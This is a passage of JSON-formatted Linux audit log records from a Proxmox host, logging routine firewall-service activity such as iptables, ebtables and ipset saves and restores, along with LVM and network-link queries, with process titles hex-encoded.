name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965334.139:65154): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966115461,"@rawstring":"node=pve type=PATH msg=audit(1781966115.461:68518): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.630:65153): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115445,"@rawstring":"node=pve type=PATH msg=audit(1781966115.445:68517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.630:65152): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115445,"@rawstring":"node=pve type=PATH msg=audit(1781966115.445:68517): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.630:65151): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115445,"@rawstring":"node=pve type=PATH msg=audit(1781966115.445:68516): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.603:65150): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115444,"@rawstring":"node=pve type=PATH msg=audit(1781966115.444:68515): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.603:65149): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115261,"@rawstring":"node=pve type=PATH msg=audit(1781966115.261:68514): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965332.603:65148): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115261,"@rawstring":"node=pve type=PATH msg=audit(1781966115.261:68514): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.597:65146): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115258,"@rawstring":"node=pve type=PATH msg=audit(1781966115.258:68513): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.597:65145): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115258,"@rawstring":"node=pve type=PATH msg=audit(1781966115.258:68513): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.597:65144): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115257,"@rawstring":"node=pve type=PATH msg=audit(1781966115.257:68512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.587:65143): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115257,"@rawstring":"node=pve type=PATH msg=audit(1781966115.257:68512): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.587:65142): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115257,"@rawstring":"node=pve type=PATH msg=audit(1781966115.257:68511): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965327.587:65141): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115252,"@rawstring":"node=pve type=PATH msg=audit(1781966115.252:68510): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326088,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.088:65140): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966115252,"@rawstring":"node=pve type=PATH msg=audit(1781966115.252:68510): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.083:65139): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115252,"@rawstring":"node=pve type=PATH msg=audit(1781966115.252:68510): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.083:65138): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115245,"@rawstring":"node=pve type=PATH msg=audit(1781966115.245:68509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.083:65137): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115245,"@rawstring":"node=pve type=PATH msg=audit(1781966115.245:68509): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.079:65136): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115237,"@rawstring":"node=pve type=PATH msg=audit(1781966115.237:68508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.071:65135): proctitle=\"ip6tables-save\""} {"@timestamp":1781966115237,"@rawstring":"node=pve type=PATH msg=audit(1781966115.237:68508): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.065:65134): proctitle=\"iptables-save\""} {"@timestamp":1781966115229,"@rawstring":"node=pve type=PATH msg=audit(1781966115.229:68507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.057:65133): proctitle=\"ip6tables-save\""} {"@timestamp":1781966115229,"@rawstring":"node=pve type=PATH msg=audit(1781966115.229:68507): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.050:65132): proctitle=\"iptables-save\""} {"@timestamp":1781966115221,"@rawstring":"node=pve type=PATH msg=audit(1781966115.221:68506): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.045:65131): proctitle=\"ebtables-restore\""} {"@timestamp":1781966115221,"@rawstring":"node=pve type=PATH msg=audit(1781966115.221:68506): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.043:65130): proctitle=\"ebtables-restore\""} {"@timestamp":1781966115215,"@rawstring":"node=pve type=PATH msg=audit(1781966115.215:68504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326038,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.038:65129): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966115215,"@rawstring":"node=pve type=PATH msg=audit(1781966115.215:68504): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.032:65128): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966115208,"@rawstring":"node=pve type=PATH msg=audit(1781966115.208:68503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326025,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.025:65127): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966115208,"@rawstring":"node=pve type=PATH msg=audit(1781966115.208:68503): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.020:65126): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966115202,"@rawstring":"node=pve type=PATH msg=audit(1781966115.202:68502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326015,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.015:65125): proctitle=697073657400726573746F7265"} {"@timestamp":1781966115202,"@rawstring":"node=pve type=PATH msg=audit(1781966115.202:68502): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.006:65124): proctitle=\"ip6tables-save\""} {"@timestamp":1781966115196,"@rawstring":"node=pve type=PATH msg=audit(1781966115.196:68501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965326.000:65123): proctitle=\"iptables-save\""} {"@timestamp":1781966115196,"@rawstring":"node=pve type=PATH msg=audit(1781966115.196:68501): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.997:65122): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966115190,"@rawstring":"node=pve type=PATH msg=audit(1781966115.190:68500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.992:65121): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115190,"@rawstring":"node=pve type=PATH msg=audit(1781966115.190:68500): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.992:65120): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115184,"@rawstring":"node=pve type=PATH msg=audit(1781966115.184:68499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.990:65119): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115184,"@rawstring":"node=pve type=PATH msg=audit(1781966115.184:68499): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.986:65118): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115177,"@rawstring":"node=pve type=PATH msg=audit(1781966115.177:68498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325980,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.980:65117): proctitle=\"ip6tables-save\""} {"@timestamp":1781966115177,"@rawstring":"node=pve type=PATH msg=audit(1781966115.177:68498): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325972,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.972:65116): proctitle=\"iptables-save\""} {"@timestamp":1781966115170,"@rawstring":"node=pve type=PATH msg=audit(1781966115.170:68497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.968:65115): proctitle=69707365740073617665"} {"@timestamp":1781966115170,"@rawstring":"node=pve type=PATH msg=audit(1781966115.170:68497): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.960:65114): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966115166,"@rawstring":"node=pve type=PATH msg=audit(1781966115.166:68496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.952:65113): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966115166,"@rawstring":"node=pve type=PATH msg=audit(1781966115.166:68496): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.070:65112): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966115164,"@rawstring":"node=pve type=PATH msg=audit(1781966115.164:68495): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965325.040:65111): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966115164,"@rawstring":"node=pve type=PATH msg=audit(1781966115.164:68495): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.581:65110): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115162,"@rawstring":"node=pve type=PATH msg=audit(1781966115.162:68494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.580:65109): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115162,"@rawstring":"node=pve type=PATH msg=audit(1781966115.162:68494): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.580:65108): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115162,"@rawstring":"node=pve type=PATH msg=audit(1781966115.162:68493): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.571:65107): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115158,"@rawstring":"node=pve type=PATH msg=audit(1781966115.158:68492): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.571:65106): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115158,"@rawstring":"node=pve type=PATH msg=audit(1781966115.158:68492): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965322.571:65105): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115158,"@rawstring":"node=pve type=PATH msg=audit(1781966115.158:68492): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.563:65104): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115151,"@rawstring":"node=pve type=PATH msg=audit(1781966115.151:68491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.563:65103): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115151,"@rawstring":"node=pve type=PATH msg=audit(1781966115.151:68491): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.562:65102): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115144,"@rawstring":"node=pve type=PATH msg=audit(1781966115.144:68490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.553:65101): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115144,"@rawstring":"node=pve type=PATH msg=audit(1781966115.144:68490): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.553:65100): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115138,"@rawstring":"node=pve type=PATH msg=audit(1781966115.138:68489): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965317.553:65099): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966115138,"@rawstring":"node=pve type=PATH msg=audit(1781966115.138:68489): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315942,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.942:65098): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966115130,"@rawstring":"node=pve type=PATH msg=audit(1781966115.130:68488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.938:65097): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115130,"@rawstring":"node=pve type=PATH msg=audit(1781966115.130:68488): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965315.936:65096): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966115121,"@rawstring":"node=pve type=PATH msg=audit(1781966115.121:68487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=PROCTITLE 